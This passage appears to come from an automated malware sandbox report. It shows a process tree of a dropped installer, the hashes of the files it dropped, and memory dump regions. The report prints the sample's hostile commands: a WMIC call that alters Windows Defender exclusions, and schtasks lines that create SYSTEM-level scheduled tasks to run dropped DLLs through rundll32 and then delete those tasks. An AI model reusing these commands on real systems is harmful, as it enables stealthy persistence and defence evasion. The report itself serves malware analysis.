"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1200

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\bBBSFQQZU\mfePJR.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "LVynAQLCTpGcVPg" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:660

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "LVynAQLCTpGcVPg2" /F /xml "C:\Program Files (x86)\bBBSFQQZU\HvepykF.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:4212

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "LVynAQLCTpGcVPg"
2⤵
PID:2140

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "LVynAQLCTpGcVPg"
2⤵
PID:4424

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "KatXkYONgJxXkD" /F /xml "C:\Program Files (x86)\rUfZlqUIdWiU2\WStJEFt.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:2968

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "PuJMQwokvjmjr2" /F /xml "C:\ProgramData\fHdtCMTPryqSDgVB\wkxRzCv.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:1992

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "jmhuFmncXBbhpBxSq2" /F /xml "C:\Program Files (x86)\rPikKiIbwrQGukIChiR\LYHtBAw.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:4836

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "OztlfTauKwYVOQQXHnj2" /F /xml "C:\Program Files (x86)\NNMAoTKMcAkAC\usNMiIV.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:2680

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "MRaTohzfdszDuijXP" /SC once /ST 01:17:22 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WZpWNMsDzSAcKsSA\yqAYAvjO\IOgDrbx.dll\",#1 /glhedidV 525403" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4556

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "MRaTohzfdszDuijXP"
2⤵
PID:3348

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "MhsnVFKWmmyXGZkTD"
2⤵
PID:1944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 1732
2⤵
- Program crash
PID:1772

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\WZpWNMsDzSAcKsSA\yqAYAvjO\IOgDrbx.dll",#1 /glhedidV 525403
1⤵
PID:3076

C:\Windows\SysWOW64\rundll32.exe
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\WZpWNMsDzSAcKsSA\yqAYAvjO\IOgDrbx.dll",#1 /glhedidV 525403
2⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
PID:916

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "MRaTohzfdszDuijXP"
3⤵
PID:3560

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$RECYCLE.BIN\S-1-5-18\desktop.ini
Filesize
129B

MD5
a526b9e7c716b3489d8cc062fbce4005

SHA1
2df502a944ff721241be20a9e449d2acd07e0312

SHA256
e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

SHA512
d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

Download Submit
C:\Program Files (x86)\NNMAoTKMcAkAC\usNMiIV.xml
Filesize
2KB

MD5
069a61ae175658976232325ed8f76c01

SHA1
af3fddd4da186e2cf2647903a41a766b6ef8b8d7

SHA256
efd34ccdf621d7062a315858d573f8028fa78af2c29cb19de84071bfde4530ca

SHA512
0911d61a76c5dd5863791d75c4a94fb900c0684f0588c9047657f4acdd566611933166bedd2cbad18a60417903317b10168bf905c094d2455b4a5da40c2a8e37

Download Submit
C:\Program Files (x86)\bBBSFQQZU\HvepykF.xml
Filesize
2KB

MD5
e53e98b419c7ce9886aaec9e5f99c3d6

SHA1
236b19424a33e387834eb40d00124e07eacc9de0

SHA256
7178547e6d9e612d3e6cde7d4662e61419d39e958108c8a76b762c94926215ba

SHA512
4be4d68c46bd56a6f463995a2754c38159d15261a573a3a7726c5a5e14f9cf8e28164f7b4f7a20c45a7468cf8b861aab1ab92e47e5af30de0d1ecbaac9b883d6

Download Submit
C:\Program Files (x86)\rPikKiIbwrQGukIChiR\LYHtBAw.xml
Filesize
2KB

MD5
3d0ecede75c4baa77913fc8465e07a6e

SHA1
ba63328da3c0dcd063b0d3bae67595127a357465

SHA256
35889dac2094e168720d30a710f3d0a35301c202cae8f334c9fb3f941f483123

SHA512
2c0d25039e650e2870d0e65679b2f7091458fa30a37ced285916fb48738556c715a5424315e5b28cee7778dc49c433bf286970cea9ff5878f0c2cf2256fa69bf

Download Submit
C:\Program Files (x86)\rUfZlqUIdWiU2\WStJEFt.xml
Filesize
2KB

MD5
83154aa22eac0dbdc5dd5cbed29f2880

SHA1
22a61e717641f8934ee0ba4d2b5a5feb407e08d4

SHA256
215c96974794aea23eb0874ad30f6972555ec5c123201df0cbec83d33852b65c

SHA512
a1edfaa254d9a50921f805124af6a4354cda91b9c7d547b2789618c53a92a712ac4a7325960982a150cd4e93fcce34a6b950f9758bfec71cecd02734a8ab2410

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi
Filesize
2.0MB

MD5
575b5717306c97c820a71bc7bd0f6fc7

SHA1
b3a00a8b4f66e21fe1f9582b6d1ee633e9e00ff9

SHA256
410cb8b532a1ce5b4b404baa14e4522804c9c06319fdba70d7f3ba5a51e4f800

SHA512
39bbdd17a9c0a73aec3d951ddc19dea16650d932fbb6d0ab296033f398518d99a2761ec51d5a84544e43896eb608e31d7879e5ff93860a1a030bd0528bbe9731

Download Submit
C:\ProgramData\fHdtCMTPryqSDgVB\wkxRzCv.xml
Filesize
2KB

MD5
4243e42f308b68a76c9d12f7c5ace10d

SHA1
544dc103a2250bf7b9917a9583546c5ecb57f6ac

SHA256
f0916f888d940ecaa65ecdf61dff63c293592b2943194ab749dadf79cb229c80

SHA512
13f30f5c01a5b8e102ae83d930835f11cbaeb25dc2e377e58727072c22a3d1d8bed7799b45ff78aa36e51fc8521d14024db06ed7360ce5c72ce1e8fa6734e0b5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_PT\messages.json
Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
10KB

MD5
63646427b6f5c5f9537e91b9691b329c

SHA1
9f7bca82b98f259860b03b216b17c8cbef83fdde

SHA256
db794a1ce186c03a078f63e073f267f4dd0baa7ee2d5a5eff04ad587cc747982

SHA512
8273521c6059fd1c57f006901dc0ca497de2f4f9982005e4c642d576e6734c900b3b74f29af2c248de9bd58ff26553468db3200efca3adf60edaddd316a8dc7e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
abf72f26873a331efa2de2c77420ec9d

SHA1
2ac317a8b991ef12a657fedd84725410ce93440e

SHA256
aec3f18b673828d714e05d224b7ecf6de426aa6b49e6022f92615115d0f1d898

SHA512
bc93c2f7dee40f152f8c8baa99cb62afb503aeaa71ab8d0c929278c497d9b7fd7a220de50067fe5cc82931d7ecf87dc1f121dec52487c5f36318bd5a10327e9e

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS598A.tmp\Install.exe
Filesize
6.4MB

MD5
0ab5f17a164d83d986ee18c044e754ca

SHA1
f4378ad12c7060689f510d4000fb1d2e35fc9271

SHA256
aea62de9a1c790a66c111f2533ec973cb154ec8f975be782172eb686b4e9a753

SHA512
6efdecb407420615d86f48f564f954f1442d96d2ef8884dc52cc2951978c59361b5e93fd0d8b55c736f316cc12593937733be458bab9de4b94423773549e2f74

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS5B4F.tmp\Install.exe
Filesize
6.6MB

MD5
c459c807bebcbb6553ff3388b249a9fd

SHA1
6e428b6c77c966e33c5c0e321d722b57bd3bf975

SHA256
9c3372c448ccebbe7b771c24c207a0ae0e145a25d0e96f5ffb0559ff5571154b

SHA512
7641130d16107aa5bdf16f39a6f9e6404230376bae4a9489b0b9462218075c4a0cea35cff3b434c6a352f05f49aca4a3f71839acf16cbe278ac49235ca6291cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rreaxokd.uos.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\je1358xf.default-release\prefs.js
Filesize
7KB

MD5
1b74b1fd97c897f7cfcc8cd0e24ed72d

SHA1
81efcd7ab076d413134cfd38874f02aa582f9713

SHA256
17eb5204af7e0db4ad3e596a6ec0b8998013815a9c1fb23b34b034f22f2cb61f

SHA512
d0b3125a39702d14f30d4d0cb6ce9975df30b527f6545e5468bdf93f243b0f7c4133738a34254696baf665ba61681d24012f3e396870f71a6ede667b84f267d5

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
e33ed3d4cc9b2e5a08ae25747ef47620

SHA1
e2f4cfdd39bcb2eb1c05648a37a3d8536eaf19b7

SHA256
0e7093450fb6bb5201b4291033daf6099881421ab47b122972e0249ef5b45a4f

SHA512
9e990f7ca202c7ecc7a21dd2433055b71bd62f2e524f4702b674316effeb8fa37e891d40f3e6a960380dd7967033c7a7f235e73a3c434e97495e532309b4f95e

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
66a38c47293b5e29b115febc8d80bc98

SHA1
c75113f4725e80cba55d9ac3c68cfdda5ebebb0c

SHA256
b8533d5873ea638ac5dbb51090ebad0da494ece862b86cd362d6e2d1fe8102df

SHA512
f042d30aefcfeffcbfd1e3e55cddca208e6700daf3103695e4e460924ef21887e9cb97c50139bf8180e60c619af06c9dfea2b6faba7e7de171d56074d9164a78

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
7ce0833a03bed3c52c1f2c08973a7bf4

SHA1
d601acc49718d8db3cbe7c9d83bb426ba4d1a10a

SHA256
b9c9fcaf13a7591cb13b1b47a7c62dd140ea33a9c0eaffc462129aec73d8e949

SHA512
1b84813fa26b34423a51666895fd6343475bf49675b786540555fe2a05cd105819e85466aa2e9f4239fa8553215ad2fab8d1a7551ccbdc267d607ef398c09d6c

Download Submit
C:\Windows\Temp\WZpWNMsDzSAcKsSA\yqAYAvjO\IOgDrbx.dll
Filesize
6.5MB

MD5
2c5315f48e9b097d2c447e016743854f

SHA1
84006269f2b54df8bef71d46364bd82946b24759

SHA256
233a6dfcb0ea347aed469bac784313ce0fb0dbc2ce84b5f3b3561d4741b03dc2

SHA512
efd65e08582051bf7ef3795f7d0718aab625ea1500eaae19b0a665807b697e81a0e1dd580885765f364ab3e763ed913a19cbbe27327bc45ce0c1a0aeb65ce4ec

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol
Filesize
6KB

MD5
fa4ab2b7c89c5943f88f8ae0b12f3d42

SHA1
dd383010ae707003f995855b1995865672879c7c

SHA256
6cc8c13a3692843414fbf6563cf5873685dd77f7e9a1988c0388a45d8e45f47a

SHA512
d57ee1376efc7173e5e3db30e8879bda4a82c51d2098d007d7ab4b1ccd767a051ff4587598a96d50a9bd2271de41a074c2dc1a72eb729cee905d35ec8877fbaf

Download Submit
memory/916-409-0x0000000003F30000-0x0000000007AFB000-memory.dmp

Filesize
59.8MB

Download
memory/1292-52-0x00000000064A0000-0x00000000067F0000-memory.dmp

Filesize
3.3MB

Download
memory/1292-53-0x0000000006A80000-0x0000000006ACB000-memory.dmp

Filesize
300KB

Download
memory/1416-43-0x0000000000200000-0x00000000008A5000-memory.dmp

Filesize
6.6MB

Download
memory/1416-13-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/1416-12-0x0000000000200000-0x00000000008A5000-memory.dmp

Filesize
6.6MB

Download
memory/1416-17-0x0000000013BC0000-0x0000000013BC1000-memory.dmp

Filesize
4KB

Download
memory/1428-153-0x0000000007030000-0x000000000707B000-memory.dmp

Filesize
300KB

Download
memory/1428-147-0x00000000069B0000-0x0000000006D00000-memory.dmp

Filesize
3.3MB

Download
memory/2308-390-0x0000000003530000-0x0000000003602000-memory.dmp

Filesize
840KB

Download
memory/2308-139-0x00000000024E0000-0x0000000002565000-memory.dmp

Filesize
532KB

Download
memory/2308-126-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/2308-124-0x0000000000A00000-0x00000000010A5000-memory.dmp

Filesize
6.6MB

Download
memory/2308-379-0x00000000034A0000-0x0000000003528000-memory.dmp

Filesize
544KB

Download
memory/2308-196-0x0000000002890000-0x00000000028F0000-memory.dmp

Filesize
384KB

Download
memory/2308-411-0x0000000000A00000-0x00000000010A5000-memory.dmp

Filesize
6.6MB

Download
memory/2848-94-0x0000017C754E0000-0x0000017C75556000-memory.dmp

Filesize
472KB

Download
memory/2848-90-0x0000017C75330000-0x0000017C75352000-memory.dmp

Filesize
136KB

Download
memory/2976-70-0x0000000006470000-0x00000000067C0000-memory.dmp

Filesize
3.3MB

Download
memory/4372-23-0x0000000006C00000-0x0000000006C66000-memory.dmp

Filesize
408KB

Download
memory/4372-28-0x0000000007BC0000-0x0000000007C36000-memory.dmp

Filesize
472KB

Download
memory/4372-27-0x0000000007E70000-0x0000000007EBB000-memory.dmp

Filesize
300KB

Download
memory/4372-26-0x0000000007470000-0x000000000748C000-memory.dmp

Filesize
112KB

Download
memory/4372-25-0x0000000007500000-0x0000000007850000-memory.dmp

Filesize
3.3MB

Download
memory/4372-24-0x0000000007490000-0x00000000074F6000-memory.dmp

Filesize
408KB

Download
memory/4372-22-0x0000000006A60000-0x0000000006A82000-memory.dmp

Filesize
136KB

Download
memory/4372-21-0x0000000006C80000-0x00000000072A8000-memory.dmp

Filesize
6.2MB

Download
memory/4372-20-0x00000000044A0000-0x00000000044D6000-memory.dmp

Filesize
216KB

Download
memory/5052-47-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/5052-45-0x0000000000200000-0x00000000008A5000-memory.dmp

Filesize
6.6MB

Download
memory/5052-116-0x0000000000200000-0x00000000008A5000-memory.dmp

Filesize
6.6MB

Download